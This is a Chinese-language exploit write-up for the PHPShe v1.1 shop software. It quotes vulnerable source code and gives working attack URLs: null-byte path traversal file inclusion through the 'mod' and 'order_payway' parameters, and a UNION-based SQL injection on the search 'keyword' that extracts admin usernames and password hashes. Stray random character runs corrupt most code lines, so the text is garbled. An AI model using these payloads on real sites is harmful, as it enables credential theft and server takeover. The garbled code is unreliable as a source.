phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
4 q0 q3 n! u$ i: w* a8 k/* ========================
/* By: : Kn1f3
' l. T! U( k* ]* \$ \* |0 R/* E-Mail : 681796@qq.com
0 a! S$ J) |, i8 q0 J7 I/*******************************************************/
0×00 整体大概参数传输

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//common.php
: E( _3 A- ~8 b  V9 N9 h4 o/ Zif (get_magic_quotes_gpc()) {
; K" f' @- N' E7 D, f# B/ w!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
: I9 L; T& D- n. v. ~: x8 ^8 \!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
4 ]+ L- U" Y  q& I: j# ~else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ a: V! e9 A" W- g  I; O!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
- X+ s$ [! v2 r0 k* Psession_start();
! a0 C6 r. d+ e' _!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

9 W% Y/ i8 E+ l( Z# b8 p1 E0×01 包含漏洞
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//首页文件
" L. e9 ~* p, R3 u" ^. v- z/ m9 _) X<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
+ t! M9 n/ T  a. T, m: ~pe_result();
% l5 H& k4 h. ?# \?>
4 f) `& Z1 L" _$ I5 ~//common 文件 第15行开始
" g  c9 ^( w8 purl路由配置
: r3 z& z/ ?, h9 a' |$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

, x4 h9 j; B. @7 ]; z8 G 0×02 搜索注入
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<code id="code2">

//product.php文件
, n+ F  X' ?  K4 h# c$ u# vcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
4 t" f- e. i1 u2 P* h- r//搜索
$sqlwhere = " and `product_state` = 1";
; s1 a, O) d, X2 Jpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! l" _4 @/ Y  o* x6 a$ V}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
: z( R; D: x# |! `2 @# f$orderby = explode('_', $_g_orderby);
" [! c! z2 o5 s$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
4 _( r% \4 a+ W  H: F+ G& ]4 _7 P}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
& W1 ]7 J' U6 m/ r' N# m//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
* A) n: t: ?3 |include(pe_tpl('product_list.html'));
( f. }; [9 k  X: n/ q* Z//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 Q4 s* U& {/ Q3 `; V{
/ ?8 m" T+ G& u//处理条件语句
3 t4 L  p6 }  H" @  ^$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( |' f+ R; z/ K$ A$ ~0 P}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

0 L  G+ g( E: }# ~" c# ]$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

6 O& U! T& T" F. h1 y" c' mforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

- m: ~' w! K* J9 Q1 R6 q8 G0 {if ($k == 'bank') {

+ t6 ^8 Z0 X6 m, T) a$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

4 O" K, d1 K  T$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 W, k- y% J; r. Q1 ?( [!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

! i, C* ~9 _4 c2 C1 Aif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

& l1 V! k# i  @+ R" w5 w7 v$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

) w* T8 V! y" iforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

5 a5 V. Y- U+ E: Q$ U. Hecho '正在为您连接支付网站，请稍后...';

: C4 k, O3 W1 Z8 oinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& \, n( G& H1 r( q; m}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

3 [  @# `1 E$ b) L# R( r" ?}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

5 `2 W8 C% e% G1 i: I" g0 r  Ubreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
$ [0 @; Q. X8 E5 @4 Jhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg